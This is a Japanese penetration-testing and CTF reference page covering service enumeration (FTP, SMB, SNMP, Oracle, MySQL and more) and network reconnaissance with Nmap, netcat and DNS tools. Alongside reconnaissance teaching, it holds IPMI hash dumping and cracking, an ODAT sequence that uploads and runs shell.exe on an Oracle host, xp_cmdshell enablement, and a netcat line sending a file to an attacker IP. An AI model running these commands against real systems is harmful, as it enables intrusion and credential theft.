これは、このセクションの複数ページの印刷可能なビューです。 印刷するには、ここをクリックしてください.

このページの通常のビューに戻る.

システムペネトレーション基礎

ペネトレーションテスト/CTF(Pwnable)の際に必要となるポイントの解説

1 - 1.スキャニング

攻撃前のスキャニング(ポート調査)に関するポイント

1.1. サービスへの接続

1.1.1. FTP(21)

FTPはファイル転送プロトコルと呼ばれ、異なるシステムの異なるコンピュータ間でのファイル転送を効率的に行うために開発された。

TelnetによるFTP接続

TelnetでFTP接続を行うことも可能。 しかしTelnetではファイルを転送はできない

  1. telnet IPアドレス 21
  2. ユーザ名/パスワードを入力しEnter

ログイン後は以下コマンドで操作が可能。

# ログイン
USER [ユーザ名]
PASS [パスワード]

# 追加情報の表示(システムタイプの表示)
SYST

# パッシブモード/アクテイブモードの切り替え
PASV

# TYPE [A|I]でファイル転送モードをASCII/Binaryに切り替え
TYPE [A|I]

FTPへの接続

ftp [IPアドレス | URL]

anonymous FTPの場合のユーザ名はanonymous

FTPのコマンド

ftp> [コマンド]
コマンド説明
USER (username)
PASS (password)
ログイン情報の記述。
ls -la隠しファイルも表示。。
get (リモートファイル名) (ローカルファイル名)サーバのファイルをパソコンに転送。
mget (リモートファイル名 […])サーバの複数のファイルをパソコンに転送。
mput (ローカルファイル名 […])パソコンの複数のファイルをサーバに転送。
put (ローカルファイル名) (リモートファイル名)パソコンのファイルをサーバに転送。
type (転送モード)現在のファイル転送モードを表示。
passiveパッシブモードへの変換
binarybinaryモードへの変換(ファイルDL時に使用)

1.1.2. SSH(22)

SSH(Secure-Shell)はリモート システム管理のための安全な方法を提供するために作成されたプロトコル。 Telnetに対して以下機能が追加された。

  • リモートサーバーの身元を確認できる機能
  • メッセージの暗号化
  • メッセージの変更の検出機能

ssh

# SSH接続
ssh ユーザ名@IPアドレス

scp

SCPコマンドによるセキュアなファイル転送

scp ユーザ名@IPアドレス:[ファイルパス] [クライアントのファイルパス]

SSHポートフォワーディング

ローカルポートフォワーディングリモートポートフォワーディングがある。 共に対象マシンの特定のポートで作動しているサービスをlocalhostでアクセスできるようにするのは共通だがコマンド発行元が異なる

  • ローカルポートフォワーディング * コマンドは自分のホストで発行 * ssh -L リモートポート:127.0.0.1:ローカルポート ユーザ名@IPアドレス
  • リモートポートフォワーディング * コマンドは相手のホストで発行

1.1.3. TELNET(23)

Telnetは別のコンピュータの仮想端末に接続するために使用されるアプリケーション層プロトコル。 ユーザーは別のコンピュータにログインし、その端末 (コンソール) にアクセスして、プログラムを実行したり、バッチ プロセスを開始したり、システム管理タスクをリモートで実行したりできる。

なおTelnetクライアントと Telnetサーバー間の通信はすべて暗号化されていない

Telnetでの接続

telnet [IPアドレス]

1.1.4. SMTP(25, 465, 587)

SMTPはMTA間で使用されるメール転送プロトコル。 SMTPのポートが開いているとMTAサーバの機能を提供していると推測できる。

SMTPは平文を使用し、すべてのコマンドが暗号化なしで送信されるため、基本的な Telnetクライアントを使用して SMTPサーバに接続し、メッセージを送信する電子メール クライアント(MUA)として機能できる。

TelnetによるSMTP接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 25
  2. ユーザ名/パスワードを入力しEnter
# SMTPセッションの開始
HELO

# 指定したユーザのメールボックスが存在するか確認
VRFY <ユーザ名>

# 指定したメーリングリストのアドレスを確認
EXPN <メールアドレス>

# SMTPセッションの開始
EHLO

# 差出人指定
MAIL FROM: <送信元のメールアドレス>

# 宛先指定
RCPT TO: <送信先のメールアドレス>

# 本文入力開始
DATA

# セッション終了
QUIT

smtp-user-enum

辞書ファイルを使用してメールサーバにユーザが存在するか確認するコマンド。

smtp-user-enum -M VRFY -U <辞書ファイル> -t <IPアドレス>

# よく使うコマンド
smtp-user-enum -M VRFY -U /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -t <IPアドレス>

1.1.5. DNS(53)

Domain名からIPアドレスを求めるためのプロトコル。

コチラからもDNSの調査に関する項目を確認可能。

hostコマンド

hostコマンドによりレコード確認が可能。

host -t txt megacorpone.com
  • -NS(ネームサーバーレコード)…ドメインのDNSレコードをホストする権威サーバーの名前が含まれる
  • -A(ホストレコード)…ホスト名のIPアドレスが含まれている
  • -MX(mail Exchangeレコード)…ドメインの電子メール処理を担当するサーバーの名前が含まれている
  • -PTR(ポインタレコード)…逆引きで使用されIPアドレスに関連するレコードを見つけるために使用される
  • -TXT(テキストレコード)…テキストレコードは任意のデータを含むことができ、ドメインの所有権確認などを行える

nslookupコマンド

ドメイン名を特定できる。

nslookup
> server [DNSサーバのIPアドレス]
> [IPアドレス]

サブドメインの列挙

以下ツールなどが使用可能。

  • DNSゾーン転送設定の確認
    • host -l <domain name> <dns server address>
  • DNSRecon
    • ゾーン転送:dnsrecon -d [ドメイン名] -t axfr
    • ブルートフォース:dnsrecon -d [ドメイン名] -D ~/list.txt -t brt
  • DNSmap
    • dnsmap [ドメイン名] -w /usr/share/seclists/Discovery/DNS/shubs-subdomains.txt

1.1.6. HTTP(80)

暗号化を行わないWEBのプロトコル。

WEBの調査はコチラから。

HTML内の調査

HTML内で調査する箇所は以下の通り。

  • HTMLファイルのコメントアウト
  • HTMLのHEADタグ内(curlコマンドなど)

TelnetによるHTTP通信

TelnetでHTTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 80
  2. GET /[ページURI] HTTP/1.1を入力しEnter
  3. host: telnetを入力しEnter
  4. Enterを2回押す

Nmapによる調査

nmap -n -Pn <IPアドレス> -p 80 --script http-enum

whatweb

whatwebはCMS名やWebサーバ名を取得するコマンド

whatweb -v <IPアドレス>

1.1.7. POP3(110)

POP3はメール配信エージェント(MDA)サーバから電子メールメッセージをダウンロードするために使用されるプロトコル

TelnetによるPOP3接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 110
  2. ユーザ名/パスワードを入力しEnter
# ログイン
USER [ユーザ名]
PASS [パスワード]

# 受信ボックス内の件数を表示
STAT

# 受信メールの一覧を表示
LIST

# 番号のメッセージを取得
RETR [メール番号]

# 番号のメッセージを削除
DELE [メール番号]

1.1.8. IMAP(143,993)

IMAPはPOP3より洗練されたプロトコルで複数のデバイス (およびメールクライアント) 間で電子メールの同期を維持できる

TelnetによるIMAP接続

TelnetでSMTP接続を行うことも可能。 手順は以下の通り。

  1. telnet IPアドレス 143
  2. ユーザ名/パスワードを入力しEnter

IMAPでは、応答を追跡できるように、各コマンドの前にランダムな文字列を付ける必要がある

1.1.9. NFS(111)

NFS(Network File System)はクライアントコンピュータのユーザがあたかもローカルにマウントされたストレージ上にあるかのようにファイルにアクセスすることを可能にするプロトコル

NFSはUNIX系OSで使用されることが多く、その実装は安全ではない。

nmapによるNFS調査

nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount [IPアドレス]

nmap -p 111 --script nfs* [IPアドレス]

/usr/sbin/showmountを使用したNFS共有の一覧表示

/usr/sbin/showmount -e [IPアドレス]

NFSのマウント

mountコマンドを使用することでファイルのアクセスが可能になる。

mkdir /tmp/mount
sudo mount -t nfs [IPアドレス]:/home /tmp/mount/ -nolock
cd /tmp/mount && ls

1.1.10. SMB(139,445)

NmapによるSMBの列挙

# 共有とユーザー名の列挙
nmap -p 445 --script=smb-enum-shares,smb-enum-users [IPアドレス]

# SMBによるOSの検出や列挙(smb-os-discovery):
nmap -v -p 139, 445 --script=smb-os-discovery [IPアドレス]

# SMBプロトコルの既知の脆弱性をチェックする場合:
# (unsafe=1にした場合、脆弱なシステムをクラッシュさせてしまう可能性があるので、本番システムをスキャンする場合は注意)
nmap -v -p 139,445 --script=smb-vuln-ms08-067 --script-args=unsafe=1 [IPアドレス]

enum4linux

Enum4linux はWindows と Linux システムの両方でSMB共有を列挙するために使用されるツール。 基本的に Samba パッケージ内のツールのラッパーであり、SMB に関連する情報をターゲットから簡単に迅速に抽出できるようになっている。

enum4linux [IPアドレス]
オプション説明
-S共有リスト取得
-Uユーザリスト取得
-oOS情報取得
-A全ての基本的な列挙
-Mマシンリストを取得
-Nネームリストダンプを取得 (-U および-M とは異なります)
-Pパスワードポリシー情報を取得
-Gグループとメンバーのリストを取得

smbclient

smbclientはサーバ上のSMB/CIFSリソースにアクセスするftpのようなクライアントツール

よく使うコマンドは以下の通り。

# SMBで共有されている共有名の調査
smbclient -L //[IPアドレス] -N
# SMBで共有名にアクセス
smbclient //[IPアドレス]/[共有名] -N
# SMBで共有名にログイン情報付きでアクセス
smbclient //[IPアドレス]/[共有名] -U [ユーザ名] -p [ポート番号]
# ユーザ名から共有名の列挙
smbclient -U [ユーザ名] -L target.local
# 現在地のファイル一覧表示
smb> [dir / ls]
# ファイルのダウンロード
smb> get [ファイル名]
# まとめてファイル取得
smb> mget [ファイル名]
# ファイル転送
smb> put [ファイル名] [転送元]
# ファイルの内容表示
smb> more "ファイル名"

smbmap

smbmapは共有ドライブ名、パーミッション、ドライブ内のコンテンツを列挙するツール

smbmap -H <IPアドレス> ( -R -u <ユーザ名> -p <パスワード>)

SMB共有フォルダのマウント

sudo mount -t cifs //[IPアドレス]/[共有名] /mnt -o user=,password=
sudo mount -t cifs //[IPアドレス]/[共有名] /mnt -o user=,password=

1.1.11. NetBIOS(139)

NetBIOSはLAN上のコンピュータが相互に通信できるようにするセッション層のプロトコル

Nmapによるスキャン

nmap -v -p 139,445 -oG result.txt [IPアドレス]

nbtscan

nbtscanはネットワーク上に存在するNetBIOS名をスキャンするコマンド。 オプション-rを使用することで発信元のUDPポートを137に指定している。

sudo nbtscan -r [IPアドレス]/24

nmblookup

nmblookupはNetBIOS名とIPアドレスの変換を行うコマンド。

nmblookup -A <IPアドレス/NetBIOS名>

rbcclient

MS-RPCを使用して情報列挙が可能なコマンド。

rpcclient <IPアドレス> -U "" -N

1.1.12. SNMP(161)

SNMPはTCP/IPネットワークに接続された通信機器(ルータ、スイッチ、サーバなど)に対して、ネットワーク経由で監視、制御するためのUDPベースのアプリケーション層プロトコル。 以下の情報を入手可能。

  • システム名
  • ハードウェアタイプ
  • アカウント情報
  • サービス一覧
  • 導入アプリケーションの種類
  • TCP/UDP接続情報

SNMP1,2,2cではトラフィックの暗号化が行われていないため、SNMP情報や認証情報をローカルネットワーク上で傍受することができてしまう。 MIBはネットワーク管理に関連する情報を含むデータベースのことでツリー上になっている。 その下にSNMPコミュニティと呼ばれるSNMPで管理するネットワークシステムの範囲を定めたものがある。

snmp-check

SNMPで得られる情報を列挙するコマンド。

snmp-check 192.168.124.42
snmp-check -c <コミュニティ名> -v <SNMPバージョン(1,2,2c)> <IPアドレス>

onesixtyone

SNMPエージェント機能が有効なホストを探すコマンド。

onesixtyone <IPアドレス/CIDR> <コミュニティ名>
onesixtyone <IPアドレス>  -c <コミュニティ名辞書ファイル>

Windows SNMPの列挙

kali@kali:~$ snmpwalk -c [コミュニティ文字列を指定] -v[SNMPバージョン番号の指定] -t [タイムアウト期間の設定:10] 10.10.10.1
iso.3.6.1.2.1.1.1.0 = STRING: "Hardware: x86 Family 6 Model 12 Stepping 2 AT/AT COMPAT
IBLE - Software: Windows 2000 Version 5.1 (Build 2600 Uniprocessor Free)"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.311.1.1.3.1.1
iso.3.6.1.2.1.1.3.0 = Timeticks: (2005539644) 232 days, 2:56:36.44
iso.3.6.1.2.1.1.4.0 = ""

1.1.13. IPMI(623)

IPMIは遠隔からネットワークを通じてコンピュータのハードウェアの状態を監視したり、管理のための操作を行なうための標準インターフェース規格のこと。

# ポート開放の確認
sudo nmap -sU -p 623 -sC -sV [IPアドレス]

# バージョン特定
msf6 > use auxiliary/scanner/ipmi/ipmi_version

# IPMI2.0の脆弱性を利用したパスワードハッシュのダンプ
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
# ダンプしたパスワードハッシュのクラック
hashcat -m 7300 hash /usr/share/wordlist/rockyou.txt

# impipwner.pyを利用したパスワードハッシュのダンプとクラック
sudo python3 ipmipwner.py --host [IPアドレス] -c john -oH hash -pW /usr/share/wordlists/rockyou.txt

1.1.14. Rsyncd(873)

RsyncはUNIXシステムにおいて使用される遠隔地間のファイルやディレクトリの同期を行うアプリケーションソフトウェアのこと。 差分符号化を使ってデータ転送量を最小化して行われる。

netcatを使用した列挙

nc -nv [IPアドレス] 873
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nc -nv 192.168.227.126 873
(UNKNOWN) [192.168.227.126] 873 (rsync) open
@RSYNCD: 31.0 → 接続時にバージョン名が表示される
@RSYNCD: 31.0 → 表示されたバージョン名を送信する
#list → サーバのモジュールリストを列挙
fox             fox home
@RSYNCD: EXIT
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nc -nv 192.168.227.126 873
(UNKNOWN) [192.168.227.126] 873 (rsync) open
@RSYNCD: 31.0 → 接続時にバージョン名が表示される
@RSYNCD: 31.0 → 表示されたバージョン名を送信する
#list → サーバのモジュールリストを列挙
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g # → これはパスワードが必要であることを意味する

nmapを使用した列挙

nmap -sV --script "rsync-list-modules" -p 873 [IPアドレス]
┌──(kali㉿kali)-[~/pg/boxes/Fail]
└─$ nmap -sV --script "rsync-list-modules" -p 873 192.168.227.126
Starting Nmap 7.92 ( https://nmap.org ) at 2022-08-14 13:05 JST
Nmap scan report for 192.168.227.126
Host is up (0.26s latency).

PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)
| rsync-list-modules:
|_  fox                 fox home

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds

1.1.15. Microsoft SQL Server(1433)

Microsoft SQL Serverはマイクロソフトが開発する関係データベース管理システム

インストール/アクセス

sudo apt install sqlcmd
sqlcmd -U [ユーザ名] -S [接続先]

# or

sqsh -U [ユーザ名] -S [接続先]

mssqlclient.py(imppacket)を利用したコマンドの実行。

まずimpacketをGithubよりインストール。 ~/impacket/examples/mssqlclient.pyでコマンドを実行。

mssqlclient.py <ユーザ名>@<IPアドレス> -windows-auth

xp_cmdshellを利用したコマンド実行

# xp_cmdshellの有効化
-- アドバンスオプションの変更を許可
1> EXECUTE sp_configure 'show advanced options', 1;  
2> go  
-- アドバンスオプションの現在の設定を更新
1> RECONFIGURE;  
2> go  
-- xp_cmdshellを有効化
1> EXECUTE sp_configure 'xp_cmdshell', 1;  
2> go  
-- 更新
1> RECONFIGURE;  
2> go  

1.1.16. Oracle TNS Listener(1521)

Oracle Net Listenerはデータベース・サーバー・コンピュータで実行される独立したプロセス。 着信中のクライアント接続要求を受信し、データベース・サーバーに対する要求の通信量を管理する。

インストール

sudo pip3 install cx_Oracle
sudo apt-get install python3-scapy
sudo pip3 install colorlog termcolor pycrypto passlib python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete

コマンドと操作

# All Check
python3 odat.py all -s 10.10.10.82 -p 1521

# SIDの特定
python3 odat.py sidguesser -s 10.10.10.82 -p 1521
[+] SIDs found on the 10.10.10.82:1521 server: XE

# 認証情報の特定(-dは特定したSIDを指定)
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE

# 認証情報の特定(アカウントファイルの指定)
ここではmetasploitのoracle用ファイルを使用
ただし、ODATでは認証情報のファイルに「/」で区切ったものが必要なためEmacsなどでスペースと/を置き換える。
python3 odat.py passwordguesser -s 10.10.10.82 -p 1521 -d XE --accounts-file oracle_default_userpass.txt
[+] Accounts found on 10.10.10.82:1521/sid:XE:
scott/tiger

# 権限の確認
ファイルのアップロード権限(utlfile)や実行権限(externaltable)を列挙
python3 odat.py all -s 10.10.10.82 -d XE -U scott -P tiger --sysdba

# ペイロードのアップロード
python3 odat.py utlfile -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --putFile "c:\Windows\Temp" "shell.exe" "shell.exe"
[+] The shell.exe file was created on the c:\Windows\Temp directory on the 10.10.10.82 server like the shell.exe file

# アップロードしたペイロードの実行
python3 odat.py externaltable -s 10.10.10.82 -p 1521 -U scott -P tiger -d XE --sysdba --exec "C:\Windows\Temp" "shell.exe"
[1] (10.10.10.82:1521): Execute the shell.exe command stored in the C:\Windows\Temp path
# データベースへ接続
sqlplus SCOTT/[email protected]:1521/XE
# as sysdbaはOracle版sudo
sqlplus SCOTT/[email protected]:1521/XE as sysdba

1.1.17. MySQL(3306)

MySQLはオープンソースのリレーショナルデータベース管理システム。

mysql -u root -p
mysql -u root -p -h [IPアドレス | ホスト名] -P [ポート番号]
mysql -u root -e 'SHOW DATABASES;'
オプション説明
-Dデータベースの指定 \
-eCMDからSQLコマンドを実行
-hホスト名の指定
-pパスワードの指定
-uユーザ名の指定

MySQL(MariaDB)への接続

mysql -h [接続先ホスト] -u [ユーザ名] -p [パスワード]

基本的なMySQLコマンド

# データベース一覧の確認
mysql > show databases;
mysql > select database();

# データベースの選択
use [データベース名];

# データベースの追加
mysql > create database [データベース名];

# テーブル一覧の表示
mysql > show tables;

# 全レコードを選択
SELECT * FROM <テーブル名>;

# テーブル構造の確認(フィールドを整理して表示してくれるため、下記のユーザ情報取得をすると見やすい)
describe <テーブル名>;

# ユーザ情報取得
SELECT Host, User, Password FROM <テーブル名>;
# ユーザの追加
create user <追加するusername>@<host name> IDENTIFIED BY <password>;
# 権限付与
grant all privileges on test_db.* to <username>@<host name> IDENTIFIED BY <password>;

1.1.18. PostgreSQL(5432)

PostgreSQLもMySQLと同様のリレーショナルデータベース管理システムの1つ。

psql -h [IPアドレス | ホスト名] -U postgres
psql -h [IPアドレス | ホスト名] -p 5437 -U postgres
オプション説明
-hホスト名の指定
-Uユーザ名
-pポートの指定

基本的なPostgreのコマンド

# PostgreSQL ディレクトリの一覧
postgres=# select pg_ls_dir('./');

# サーバ側のpostgresファイル読み取り
postgres=# select pg_read_file('PG_VERSION', 0, 200);

1.1.19. Redis(6379)

2 - 2.ネットワークの偵察

ネットワークの偵察(Recon)に関するポイント

2.1. 偵察

2.1. 偵察

偵察(Recon)は攻撃対象に関する情報を収集するための事前調査のこと。
システム上で最初の足がかりを獲得するための最初のステップと言える。

2.2. 受動的な偵察と能動的な偵察

受動的な偵察

受動的な偵察は公開されている情報から行う偵察のこと。
攻撃対象と直接関わることなく、公開されているリソースからアクセスできる知識が中心となる。

受動的な偵察の例は以下の通り。

  • パブリックDNSサーバからドメインのDNSレコードを検索する
  • 対象サイトに関連する求人広告を確認する
  • 対象企業に関するニュース記事を閲覧する

能動的な偵察

能動的な偵察はターゲットとの直接的スキャンなどを行う偵察のこと。
能動的な偵察の例は以下の通り。

  • HTTP、FTP、SMTP などのプロトコルで対象サーバに接続する
  • 情報を入手するために対象組織に電話をかける (ソーシャルエンジニアリング)
  • 業者を装って会社敷地内に侵入する

2.2. 受動的なネットワーク偵察

2.2.1. WHOIS

WHOISはRFC 3912仕様に準拠した要求および応答プロトコルのこと。
WHOISサーバは43ポート(TCP)で受信リクエストを待ち受けをする。
ドメインレジストラはリースしているドメイン名のWHOISレコードを維持する責任があるため、WHOISサーバは要求されたドメインに関連するさまざまな情報を応答する。WHOISサーバが返すWHOIS情報は以下の通り。

  • レジストラ
  • 登録者の連絡先情報
  • 作成日、更新日、有効期限
  • ネームサーバ

whoisコマンド

WHOIS情報を確認できるコマンド。

WHOIS <DOMAIN_NAME>

2.2.2. nslookupとdig

nslookupコマンド

IPを調べたり、DNSサーバにドメイン名を問い合わせなどを行えるコマンド。

nslookup [オプション] [ドメイン名] [DNSサーバ]

オプションには-type=でクエリタイプが指定できる。

クエリの種類返す情報
AIPv4アドレス
AAAAIPv6アドレス
CNAME正規名
MXメールサーバ
SOAゾーンの管理情報
TXTTXTレコード

digコマンド

詳細な情報をDNSサーバから取得できるコマンド。

dig [@問い合わせ先DNSサーバ] ホスト名|ドメイン名|IPアドレス [クエリタイプ]
オプション説明
-x指定されたIPアドレスの逆引きを行う
-p ポート番号問い合わせ先のポート番号を指定(53番がデフォルト)
クエリタイプ説明
aホスト名に対応するIPアドレス(デフォルト)
ptrIPアドレスに対応するホスト名
nsDNSサーバ
mxメールサーバ
soaSOAレコード情報
hinfoホスト情報
axfrゾーン転送
txt任意の文字列
anyすべての情報

なお問い合わせ後に表示されるflagsには以下のようなものがある。

フラグ説明
qr問い合わせに対する回答
aa権威のある回答
rd再帰検索を希望
ra再帰検索が可能

また回答の表示されるセクションは4つに分かれる。

  • QUSETION SECITION
    • 問い合わせ内容の表示
  • ANSWER SECTION
    • 問い合わせの回答内容の表示
  • AUTHORITY SECTION
    • 問い合わせ先に権威がある場合に表示
  • ADDITIONAL SECTION
    • 回答したホストのIPアドレスなど追加情報が表示

2.2.3. DNSDumpster

DNSDumpsterDNS クエリに対する詳細な回答を提供するオンラインサービス
DNSDumpsterで検索すると、一般的なDNSクエリでは提供できないサブドメインが見つかる場合がある。 また収集したDNS情報を読みやすい表とグラフで表示してくれる。

2.2.4. Shodan.io

Shodan.ioクライアントのネットワークに能動的に接続せずに、クライアントのネットワークに関するさまざまな情報を得ることのできるサービス。別の言い方ではIoTデバイスの検索エンジンともいえる。
防御的側面ではShodan.ioで提供されるサービスを使用して、機関に属する接続されているデバイスや公開されているデバイスについて知ることが可能。

Shodan.io はWebページの検索エンジンとは対照的にオンラインでアクセス可能なすべてのデバイスに接続して、接続された「モノ」の検索エンジンを構築しようとする。応答を受け取るとサービスに関連するすべての情報を収集し、検索可能にするためにデータベースに保存しようとする。

サービスの検索とASN

shodan.ioでドメイン名を検索するとASNが表示される。
ASNはCloudFlareなどのCDNプロキシなどで秘匿されたサーバのIPアドレスを取得するのに使用できる。
これはGoogleのような巨大企業の場合、所有するすべてのIPアドレスに対して独自のASNを持っている可能性があるためである。

ASN(自律システム番号)はIP アドレス範囲のグローバル識別子のこと。

shodan.ioの検索バーでフィルタASN:[number]と検索するとそのASN上にあるWEBサイト全体を確認できる。

検索フィルタ

コチラで検索クエリを適切に使用するとAND検索などで詳細に調べられる。

asn:AS14061 product:MySQL
フィルタ説明
asnASNで検索
country
ipIPアドレス
product製品/サービス名
osOS
portポート

より多くのフィルタはコチラ

2.3. 能動的なネットワーク偵察

2.3.1. ブラウザからの偵察

Webブラウザを使用してターゲットに関する情報を収集する方法ではHTTP(80)/HTTPS(443)によるアクセスを確認できる。
その際に役立つアドオンを記載する。

FoxyProxy

ターゲットのWebサイトへのアクセスに使用しているプロキシサーバーをすばやく変更できる拡張機能。 Burp Suiteなどのツールを使用している場合やプロキシサーバを定期的に切り替える必要がある場合に便利な機能といえる。

User-Agent Switcher and Manager

別のOSまたは別のWebブラウザからWebページにアクセスしているふりをすることができる拡張機能。

Wappalyzer

訪問したWebサイトで使用されているテクノロジーに関する情報を提供する拡張機能。

2.3.2. コマンドによる偵察

指定したホストにICMPパケットを送った際の反応を確認できる。 なおIPv6の場合はping6コマンドを使う。

ping [ホスト名] [IPアドレス]
オプション説明
-nホスト名を指定せずにIPアドレスを表示する
-c 回数指定した回数のみICMPパケットを送信する
-i 間隔指定した間隔ごとにICMPパケットを送信する
-s サイズ指定したパケットデータのサイズで送信する

また、ネットワーク上のすべての IP アドレスを ping するワンライナーは以下の通り。

# Linux用1
for i in {1..255}; do IP="192.168.1.$i"; ping -c 1 -W 1 "$IP" &>/dev/null && echo "$IP active" || echo "$IP N/A"; done
# Linux用2
for ip in $(seq 1 255) ; do ping 192.168.1.$ip -c 1 | grep "from" ; done

# Windows用1
for /L %i in (1,1,255) do ping 192.168.1.%i -n 1 -w 10 | findstr "TTL"
# Windows用2
for ($i = 1; $i -le 255; $i++) { ping -n 1 -w 10 192.168.0.$i | Select-String "TTL" }

tracerouteコマンド

指定したホストまでパケットが伝わる経路を表示するコマンド。
ネットワークの途中経路に障害がある場合、障害個所を特定できるコマンドといえる。

なお注意事項としてネットワーク経路上にICMPパケットを返信しないホストが存在する場合は適切な動作は期待できない。 なおIPv6の場合はtraceroute6コマンドを使う。

traceroute [ ホスト名 | ドメイン名 | IPアドレス ]
オプション説明
-i インターフェースネットワークインターフェースを指定する
-nホスト名をIPアドレスで表示する

telnetコマンド

telnet接続できるコマンド。 なおTelnet を使用して任意のサービスに接続し、そのバナーを取得できる

telnet <IPアドレス | ホスト名> [ポート]

バナーを取得する際は以下で行う。

  1. telnet <IPアドレス | ホスト名> [ポート]でアクセス
  2. GET / HTTP/1.1と入力(80の場合)しEnter
  3. host: 任意の値でEnterしEnterを2回押す

ncコマンド

ncコマンドはTCP/UDPを使ったネットワークの通信を行うコマンド。 ポートスキャンや通信状態の確認が可能。 他にも以下のことが可能。

  • リスニングポートに接続するクライアントとしての機能
  • 選択したポートをリッスンするサーバーとして機能
nc [ ホスト名 | IPアドレス ] [ポート番号]

なおオプション-vzを指定することでポータ範囲の指定とポートスキャンが可能。 なおudpの場合はuを追加する。 また1024 未満のポート番号をリッスンするには root 権限が必要となる。

オプション意味
-lリスニングモード
-pポート番号を指定
-n数値のみ。DNS経由でホスト名を解決できない
-v詳細な出力 (バグを発見するのに役立つ)
-vv非常に詳細 (オプション)
-kクライアントが切断された後もリッスンを続ける

使用例は以下の通り。

# サーバとして待ち受け
nc -lvnp [ポート番号]

# Netcatによるファイル転送
# 送信側
nc [攻撃者のIPアドレス] 9999 < [filename]

# 受信側
nc -l -p 9999 > [filename]

# Netcatによる複数ポートスキャン
nc -zvn [IPアドレス] [ポート番号] [ポート番号] [ポート番号]...
# NetcatによるUDPポートスキャン
nc -zvu [IPアドレス] [ポート番号]-[ポート番号]

2.4. Nmapによる高度なスキャン

Nmap(Network Mapper)はネットワークの調査とセキュリティ監査が行えるOSSのツール。
なおNMapによるスキャンは能動的な偵察となる。

公式ドキュメント:https://nmap.org/man/ja/index.html

できることは以下の通り。

  • ポートスキャン
  • OSのバージョン/ファイヤーウォールの特定

2.4.1. Nmapによるアクティブホストのスキャン

ARPを使用したホスト検出

ARPスキャンによるホスト検出はターゲットシステムと同じサブネット上にある場合にのみ可能となる。

nmap -PR -sn [ターゲットIP]

またnmap以外にもarp-scanを用いてARPパケットを詳細に制御し検出もできる。 この手法ではIPアドレスとMACアドレス両方の情報を得られる。

# イーサネットで有効なIPに対してARP Queryの送信
arp-scan -I eth0 -l

ICMPを使用したホスト検出

ICMPによるホスト検出はターゲットネットワーク上のすべてのIPアドレスにpingを実行することで行う。
ただし、ターゲットのファイヤーウォールがICMPをブロックする場合があるので常に使えるとは限らない。

# ICMPタイムスタンプを使用する場合
nmap -PP -sn [ターゲットIP/24]

# ICMPエコー要求を使用する場合
nmap -PE -sn [ターゲットIP/24]

# ICMPアドレスマスクを使用する場合
nmap -PM -sn [ターゲットIP/24]

TCP/UDPを使用したホスト検出

  • TCP SYN Ping * 特徴 * 使用されるポートに対してTCP SYNパケットを送信し、応答があるかどうかを検出する。 * サーバがTCP SYNに応答すると、ポートが開いていることが示される * 動作 * ターゲットホストがTCP SYNに応答しない場合、Nmapはポートが閉じていると判断する * 検知 * 相手のホストではポートが一時的に開かれるため、検知される可能性が高い
  • TCP ACK Ping * 特徴 * 使用されるポートに対してTCP ACKパケットを送信し応答があるかどうかを検出する。 * ACKパケットが返されれば、ポートが開いていることが示される * 動作 * ターゲットホストがTCP ACKに応答しない場合、Nmapはポートがフィルタされていると判断する * 検知 * 相手のホストでは一部のファイアウォールで検知される可能性がある
  • UDP Ping * 特徴 * UDPを使用してホストがオンラインかどうかを検出する * UDPは通信が確立されないためフィルタリングや検知が難しい * 動作 * ターゲットホストがUDPに応答しない場合にNmapはポートが閉じていると判断する * 検知 * 相手のホストでは通常UDPトラフィックは検知が難しく検知されることは比較的少ない
# TCP SYN Pingの場合
nmap -PS[ポート(23)] -sn [IPアドレス/24]

# TCP ACK Pingの場合
nmap -PA[ポート(23)] -sn [IPアドレス/24]

# UDP Pingの場合
nmap -PU -sn [IPアドレス/24]

逆引きDNSルックアップの使用

Nmap のデフォルトの動作ではリバースDNSオンラインホストが使用される。
ホスト名から多くのことが明らかになる可能性があるため、これは役立つ場合がある。

オプション目的
-nDNSルックアップなし
-Rすべてのホストの逆引き DNS ルックアップ
-snホスト検出のみ

2.4.2. 基本的なポートスキャン

Nmapはポートの状態を以下の6つの状態に分類する。

状態説明
Openターゲットホストのポートが応答しており、接続可能であることを示す
Closedターゲットホストのポートが応答しているが、接続はできないことを示す
Filteredこれはファイアウォールやネットワークフィルタによってトラフィックが遮断されている可能性がある
Unfilteredポートが応答しており、トラフィックは遮断されていないことを示す。具体的なサービスが待機しているかどうかは不明
Open/Filteredポートの状態を正確に判別できない場合に表示される状態(OpenかFilter)
Closed/Filteredポートの状態を正確に判別できない場合に表示される状態(CloseかFilter)
nmap [オプション] <IPアドレス/ドメイン名>
オプション説明
-sTTCP接続スキャン
-sSSYNスキャン(TCP接続のSYNパケットを送信し、SYN+ACKが帰るかどうかでポートスキャンを行う)
-sVSYNスキャン+バナーの同時収集(バージョンも表示)
-sNTCP Nullスキャン
-sFTCP FINスキャン
-sXTCP Xmasスキャン
-sWTCP Windowスキャン
-sMTCP Maimonスキャン
-sRTCP RPCスキャン
-sLIPIDスキャン(ゾンビマシン指定必要)
-sAACKスキャン(TCP接続のACKパケットを送信し、RSTが返ってくるかでファイヤーウォールの有無を判断する)
-sUUDPパケットを送信し、ICMP port unreachableが返ってくるかでポートスキャンを行う
-sPpingを送信し、エコー応答が返るかどうかでホストの存在の有無を判断する
-snPingスキャン
-sCNSEスクリプトの利用(-sVがダメなときに使う)
-OOSを調べる
-n名前解決しない(DNSを利用しない)
-v詳細に調べる
–reason理由を表示
-Pnpingをしない(ホスト検出スキップ)
-PEPing要求送信指定
-p[ポート番号],[ポート番号]ポート指定
-p[ポート番号]-[ポート番号]ポート範囲指定
-p-全ポートスキャン
